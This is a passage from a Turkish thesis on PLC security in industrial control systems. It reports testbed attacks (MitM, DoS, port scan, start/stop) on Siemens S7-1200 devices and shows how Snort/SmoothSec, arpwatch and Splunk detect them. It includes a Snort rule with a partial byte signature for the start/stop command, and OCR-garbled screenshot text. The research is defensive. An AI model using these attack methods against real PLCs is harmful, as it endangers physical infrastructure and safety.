davranis sablonu incelendiginde, PLC cihazinin ¢evrim i¢i hale getirilmesi i¢in gonderilen

komutun “15” benzer paketten olustugu tespit edilmistir (Sekil 5.48).

Ed Search| Splunk 6.5.3 X Snorby - High Severity Eve... X = e (s} X
€ OR 192.168.0.15 ¢ | ¢ c @ L w8 3 A9 =
B Most Visited @@ pfSenselocaldomain -.. Bl Search | Splunk Light .. @ Snorby - Dashboard I} Burp Suite editions an...

m] 0 ot 192.168.10.16 192168.0.4 SET PLC START/STOP
m] 0 o 102,168 192168.0.4 SET PLC START/STOF
(m] [ 1 R 192.168,10,16 192.168.0.4 SET PLC START/STOF
l_l o Snort 192.168.10.16 192168.04 SET PLC START/STOP
(] 0 st 192.168.10.16 192168.04 SET PLC START/STOP
] Snort 192.168.0.17 192.168.0.10 ETINFC

m] [ 1 JE 192.168.0.17 192.168.0.10 ET POLICY HTTF

m] 0 o 192.168,10,16 192168,0.4 SET PLC START/STOF
m] 0 ot 192.168.10,16 192168.0.4 SET PLC START/STOF
a 0 soot 192.168.0.4 SET PLC START/STOP
] 0 oo SET PLC START/STOP
O [ 1 JET SETPLCST

O [ 1 I 192.168.10 SET PLC STARTISTO
(m] 0 st 192.168.10. SET PLC START/STOP

Sekil 5.48. TIA Portal {izerinden ¢evrimigi (Go online) komutuna iliskin paketler

PLC’ye TIA portal yonetim ara ylizii vasitasiyla ¢evrim dist (go offline) olmasi igin
gonderilen komuta iliskin Sekil 5.49°da belirtilen paket igerikleri incelendiginde ise “6”
benzer paketten olustugu tespit edilmistir. Saldir1 paketlerini yasal paketlerden ayirmak

icin siirekli izlemenin ve kaliplarin olusturulmasinin 6nemi ortaya ¢ikmaktadir.

[ Seacch| Splunk 65,3 X [ Snorby - High Severty Eve.. X 4= - 68 X
€ e 192.168.0.15 ¢ @ TE ¥ O

B Most Visited @ pSenselocaldomain -. Bl Search | Splunk Light .. [ Snorby - Dashbeard [ Burp Suite editions an.

SnOrbg i tnreat stack

d veve (0 Events

High Severity Events ) Hotkeys [ ClassifyEvent(s) i More Options

]
g

Source IP Event Signature Tiowestamp

@] (m]

O 0Op0 |E

[

o [ o R

NN N-N-N-N- - N e
A p gy

Sekil 5.49. TIA Portal iizerinden ¢evrimdisi (Go offline) komutuna iliskin paketler
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PLC’ye TIA portal yonetim ara yiizii vasitasiyla ¢evrim i¢i (go online) olmasi igin
gonderilen komutun tespit edilmesinde kullanilan kural bilgisinin yer aldigi Sekil 5.50
incelendiginde, baslat/durdur saldirisina ait kural bilgisi ile ayni icerige sahip oldugu
goriilmektedir. Paketin kaynak adresi incelendiginde ise TIA Portal Yonetim arayiiziiniin

kurulu oldugu bilgisayara ait oldugu anlagilmaktadir.

[ Search| Splunk 653 % B Snorby - High Severity Eve.. X | 4 - 5
€ O/ hitps/192.168.0.15/resuitsimatch_all=truelises

B Most Visited @ - [ Search|Sp
IP Header Information

Q
®
2
43
[}
-
>
a
m o x

1 Queny Signatiae Datanase |
TCP Header Intor

SrePort

O
m Signature: SET PLC START/STOP

alert tep any any -> By functions/Sec PLC CPU

Payload START/STOP":convent:" §03 00 00 43 02 f0 80 72|%:s1d:9:)

om0 |03 00 00 43 02 £0 80 72

gent

Sekil 5.50. TIA Portal ¢evrim i¢i komutuna ait olay paketinin tespitine iliskin kural

Bir kontrol bilgisayar1 olan TIA Portal tarafindan gonderilen yetkili baglat/durdur
paketlerinin yakalanmasi, IDS sisteminin yanlis pozitif (false-positive) alarmi olarak
diisiiniilebilir. Bununla birlikte, baslat/durdur isleminin hassasiyeti degerlendirildiginde,
IDS sistemi, sistem tarafindan yetkilendirilmis olsa bile trafigi tespit etmeli ve
kaydetmelidir. Boylece sistem, siirekli olarak ag trafigini izleyerek ve saldir1 paternleri
olusturarak gercek bir saldir1 ile yasal bir komutu ayirt edebilmelidir. Tespit asamasinin
analizinde goriildiigii gibi, farkli kaynaklardan (TIA Portal ve saldirgan PC'ler) yapilan
taleplerin paterni siirekli izleme siireci ile elde edilebilir. Dolayisiyla, bu modeller benzer
saldirilar1 6nlemek i¢in herhangi bir giivenlik aygitina (giivenlik duvari, ag erisim
denetimleri-NAC, e-posta ag gecidi (e-mail gateway), vb.) kara (black-yasakli) listelerine
girebilir.
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5.2. Analiz ve Cikarimlar

Analizler kapsaminda gergeklestirilen saldirilar ve basar1t durumlart Cizelge 5.1°de
goriilmektedir. Cizelge 5.1 degerlendirildiginde, saldirt uygulamast ii¢ gruba ayrilabilir. {1k
iki grup, ag topolojisinin segmentasyonuna (bolimlii ve boliinmemis) ve lgiinciisii ise

okuma / yazma sifresinin etkin veya pasif hale getirilmesiyle ilgilidir.

Simnama ortaminda ilk olarak boliimlendirmenin yapilmadigi aga gergeklestirilen
saldirilarda, saldirilarin tamami basarili olmus ve PLC gibi Endiistriyel Kontrol
sistemlerinin 6nemli bir bileseninin dnemli agikliklara sahip oldugu goriilmiistiir. ikinci
asamada ise saldirilar boliimlendirmenin yapildigi ag topolojisine gerceklestirilmistir.
Boliimlendirmenin yapildigi ag topolojisine sahip aga yapilan saldirilarin sonucunda ise
MitM saldiris1 hari¢ diger saldirilar basariyla gerceklestirilmistir. MitM  saldirisinin
sonucunda, agda iletilen verilerin acik bir sekilde iletilmesi ve sistemde olusabilecek

olumsuz etkiler dikkate alindiginda, ag béliimlendirmesinin 6nemi daha iy1 anlasilmaktadir.

Saldir1 analizinin son asamasi olan {igiincii asamasinda, PLC'ye baglat/durdur saldirisi
gerceklestirilmistir. Analiz kapsaminda Oncelikle TIA Portal programi tarafindan PLC'ye
okuma/yazma  koruma  sifresi  aktive edildiginde Baslat/Durdur saldirisinin
gerceklestirilemedigi ancak diger saldirilarin basarili oldugu goriilmiistiir. Sistemlerin
calismamasi gerektigi bir anda ¢alistirilmasi ya da ¢alismasi gerektigi bir anda durdurulmasi
hayati dnemli sonuglar dogurabilecektir. Bu test sonucunda, okuma/yazma parolasinin aktif
edilmesinin ve sadece yetkili personel tarafindan bilinmesinin, sonug¢ olarak parola

yonetimin etkin bir sekilde uygulanmasinin 6nemi goriilmiistiir.

Sistem yoneticileri, TIA Portal uygulamasinin yiiklii oldugu kontrol bilgisayarlarina daha
kolay erigebilir ve bu nedenle, TIA Portala yonelik saldirilar cok daha kolay ve hizli tespit
edilebilir ve gerekli tedbirler alinabilir. Ancak, PLC'lere yapilan saldirilar tespit etmek ¢ok
daha uzun siirebilmektedir. Ciinkii PLC'ler uzakta bulunan RTU ve IED gibi alan cihazlari
olduklari i¢in, saldirilar belirtilerini sistem yOneticilerin fark etmesi mevcut altyapilarda gok
zordur. PLC'lere yonelik siber saldirilar STUXNET 6rneginde de yasandigi lizere siklikla
saldiridan sonra hayati sonuclar meydana geldiginde fark edilmektedir. Bu amagla,
calismada saldir1 sonuglarmin ¢ok daha yikici olmast nedeniyle PLC'ler saldiri

senaryolarinda hedef olarak secilmistir.
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Saldirilarin tespitine iliskin analizler degerlendirildiginde, aynalama (mirroring) yontemi ile
agda akan trafigin tamami analiz etmek paket analiz yazilimi ile yakalanmis ve agdaki
anomaliliklere yonelik paketlerin igerikleri degerlendirilmistir. Aktif saldirilarin tespiti
kapsaminda; Smoothsec sistemine kural olarak girilmesi ile de Baslat/Durdur saldirist
bagaril1 bir sekilde tespit edilerek, yiiksek seviyeli olay kisminda yer almistir. IP sahteciligi
yapilarak Bogon IP adresleri lizerinden gergeklestirilen DoS saldirisi da yine Smoothsec

sistemi ile basaril1 bir sekilde tespit edilerek, orta seviyeli olay kisminda goriintiilenmistir.

Pasif bir saldir1 olarak nitelendirilen Ortadaki Adam saldirisina yonelik olarak ise Ubuntu
isletim sistemi tlizerine kurulu olan arpwatch uygulamasi ile ag iizerindeki herhangi bir
cihaza iliskin paketlerin dinlenmesi amaciyla arp zehirlemesi yapilmasi durumunda
arpwatch uygulamasi aracilig ile sistem yoneticisine e-posta atilmasi, konsol {izerinden

veya Splunk log yonetim arayiizii izerinden goriintiilenmesi saglanmaistir.

Cizelge 5.1. Saldiri/tespit sonuglari

Saldiri Bolumlendirilmemis  Bolumlendirilmis Ag Okuma/Yazma

Tiiri Ag Topolojisi Topolojisi Korumali PLC SmoothSec Splunk
Port v v v v -
Tarama
DoS 4 v v v -
MitM v X v - v
Baslat/Durdur v v X v -

5.3. Analiz Sonuclari

Calismanin PLC analizi boliimiinde, kritik bir cihazin 6nemli bilgileri, EKS'in iletigim
protokollerinde paketlerin iletilmesi ya da alinmasinda ¢ogunlukla sifreleme kullanilmamasi
nedeniyle, Kali Linux isletim sistemi ve Wireshark gibi iicretsiz erisilebilir analiz
programlart kullanilarak elde edilebilmistir. Korumasiz endiistriyel protokollerin
acikliklarina yonelik gergeklestirilecek hedefli saldirilar nedeniyle ciddi fiziksel tehlikeler
ortaya ¢ikabilir. PLC'nin giivenlik agiklarina dikkat ¢ekmek i¢in sinama ortaminda MitM,
DoS, Port Tarama ve Baslat/Durdur saldirilar1 gergeklestirilmistir. Saldirilarin sonuglari,
PLC'lerin bu saldirilara kars1 savunmasiz olduklarim1 ve PLC'ler gibi kritik cihazlar i¢in ag

boliimlendirmesi ve sifre korumasinin hayati 6nem tasidigin1 gostermistir. Saldirilarin tespit
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asamasina yonelik analiz sonuglar1 ise PLC’lere yonelik haberlesme trafiginin stirekli
izlenmesinin, gergeklestirilebilecek muhtemel saldirilarin  tespit edilmesi ve onlem

alinmasinda 6nemli katkilar saglayabilecegini gostermistir.
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6. SONUC

Bu ¢alismada, kritik altyapilarin yonetiminde kullanilan ve toplum hayati i¢in ¢ok dnemli
olan ve akilli sebekelerin merkezinde yer alan EKS'nin zafiyetleri analiz edilmistir.
Analizler kapsaminda, EKS'nin 6énemli bir bileseni olan PLC'ler hedef cihazlar olarak
secilmistir. Ciinkii PLC'ler cografi olarak dagitilmis saha cihazlaridir, bu nedenle bu
saldirlarin fiziksel olarak tespit edilmesi ¢ok zordur. Bu kapsamda, PLC'lerin giivenlik
aciklarina dikkat ¢ekmek i¢in smmama ortaminda gerceklestirilen hedef odakli saldirilar
(MitM, DoS, Port Tarama ve Baslat/Durdur) ger¢eklestirilmistir. Saldir1 analizi sonuglari,
PLC'lerin bu saldirilara kars1 savunmasiz olduklarin1 ve PLC'ler gibi kritik cihazlar i¢in ag
boliimlendirmesi ve sifre korumasmin hayati dnem tasidigini gostermistir. Ayrica, EKS
protokollerinde c¢ogunlukla sifreleme kullanilmamasi nedeniyle, trafik analizorleri

vasitasiyla PLC’lere yonelik onemli bilgiler elde edildigi goriilmiistiir.

Sinama ortaminda Siemens S-7 1200 PLC cihazlar1 kullanilmistir. Bununla birlikte, benzer
uygulamalar besinci boliimde agiklanan saldiri, gézlem ve tespit agamalarini takip ederek
diger marka ve modellere uygulanabilir. Bu sistemlerin hizli gelisimi, hazir ticari tirinlerin
(COTS) kullanim1 ve ModBUS / TCP veya Profinet / TCP gibi hibrit entegre protokollerin
gelistirilmesi ve iretkenligi ve verimlilii arttirmak i¢in internet veya intranet baglantisi
kullanilmasi, PLC'ler dahil oldugu EKS ve bilesenlerini ¢esitli siber saldirilara karsi
savunmasiz hale getirmistir. Bu nedenle, ¢alismanin analiz asamalarin1 diger marka ve
model PLC'lere uygulayarak, bu PLC'lerin giivenlik agiklarin1 bulmak ve bunlar1 kullanmak

mumkinddr.

Calismanin tespit asamasinda ise igerisinde Snort, Snorby, Barnyard, Sagan gibi ag
giivenligi araclarini i¢inde barindiran ve saldirilarin tespiti maksadiyla gelistirilen bir Linux
dagitimi olan SmoothSec sistemi kullanilmistir. EKS’nin en 6nemli gereksinimi olan
stirekliligi korumak amaciyla, sisteme ek yiik getirmeden aynalama teknigi ile tiim
paketlerin 6rnegi tespit sistemine aktarilarak analizler gergeklestirilmistir. Analizlerin tespit
asamasi, ag trafiginin siirekli izlenmesinin muhtemel saldirilarin tespit edilmesi ve
miiteakiben &nlem alinmasinda 6nemli katkilar saglayabilecegini gostermektedir. imza
tabanli engelleme sistemleri ile (mevcut antiviriis ve IPS sistemleri) bilinen siber saldirilara
kars1 biiyiik oranda basar1 saglanip sistemin giivende oldugu diisiiniilse de, s6z konusu

sistemler her saniye ortaya ¢ikan yeni kotiiciil (malicious) yazilimlara ve 6zellikle sifirinct
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giin agikliklarina kars1 yeterince etkili olamamaktadir. Bu nedenle, ag trafiginin izlenmesi,
sistem normlarinin ve esik degerinin belirlenmesi sonucu norm disindaki davraniglarda
calismada kullanillan saldirt tespit sistemleri ve benzeri sistemler ile sistem
yoneticileri/glivenlik uzmanlarinin uyarilmasi saglanabilecektir. Bu sayede, EKS’lerin en
onemli giivenlik bileseni olan siireklilik boyutu kapsaminda yasal paketlerin
geciktirilmeden gonderilmesi ve engellenmemesi saglanirken, kotiiciil paketlerin sisteme
sizmas1 ve zarar vermesi Onlenebilecektir. Analizlerin en 6nemli boyutu, siirekli izleme,
normale uygun olmayan (anormal) paketlerin tespiti, saldiri imzasinin ve paterninin
olusturulmas1 ve benzer ataklarin tespiti i¢in uyari iiretilmesi diger PLC'lere de basarili bir
sekilde uygulanabilir. Boylece, bu acikliklara karsi onlemler almak ve saldirganlarin
yeniden istismar etmesini dnlemek miimkiin olacaktir. Calismada gerceklestirilen deneyler;
endiistriyel kontrol aglarina 06zgii giincel IDS kural dizilerinin eklenmesi sartiyla,
derinligine savunmanin bir bileseni olarak acik kaynak kodlu IDS’lerin kullanilmasinin

endiistriyel aglarin siber giivenligine 6nemli katkilar saglayacagini gostermistir.

Akilli sebekelerde dahil olmak iizere haberlesme sistemleri giivenliginin dnemli bir bileseni
ve genellikle dikkate alinmayan ya da unutulan unsuru insan bilesenidir. Bir zincirin en
zay1f halkas1 kadar kuvvetli oldugu dikkate alindiginda, bilgi giivenligi zincirinin de en
zayif bileseni (halkasi) kullanicilar olarak da adlandirilan insan boyutudur. Bu amagla,
personel giivenligi, yetkilendirmeler, egitim ve farkindalik teknolojik 6nlemler ve kurum
giivenlik politikalar1 kadar dikkate alinmasi gereken kurumsal hedeflerden olmalidir. Bu
sayede alinan teknik 6nlemler ve giivenlik politikalari etkinlik kazanarak hedeflenen bilgi

giivenligi seviyesine ulasilabilecektir.

Sonug olarak, giinliikk yasantimizda bize biiyiik faydalar saglayan EKS’nin giivenligi gozle
goriiliir problemler karsimiza c¢ikana kadar unutulan ya da umursanmayan onemli bir
husustur. Cagimizin en degerli varliginin bilgi oldugu, bilgeye sahip olanin giice, iistiinliige
sahip oldugu dikkate alindiginda, bireyler, kurumlar ve iilkeler arasindaki miicadelenin de
bilgiye (6zellikle de kritik bilgiye) hakim olma, bilgiyi elde etme iizerine olacagi
goriilmektedir. S6zkonusu hakimiyeti saglamak i¢in sistemin agikliklarini bilmek ve ihtiyag
duyulan 6nlemleri zamaninda olmak gerekmektedir. Bu amagla, kritik altyapilarin glivenlik
aciklarini belirlemek i¢in, gergek sistemleri drnekleyen bir sinama ortami olusturmak hayati
onem tasir. Endiistriyel kontrol sistemlerinin en 6nemli fonksiyonu olan is stirekliligi

dikkate alinarak ve bu amagla mevcut sisteme ilave yiik getirmeden siirekli izlenebilirligi
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gergeklestirilerek, s6z konusu smama ortami iizerinde yapilacak giivenlik analizleri
sonucunda edinilen bilgilere gore iyilestirme prosediirleri uygulandigi takdirde, kritik
altyapilarin siber saldirilardan en az hasarla kurtulmas: ve miimkiin olan en kisa zamanda

tekrar faal hale getirilmesi saglanabilecektir.
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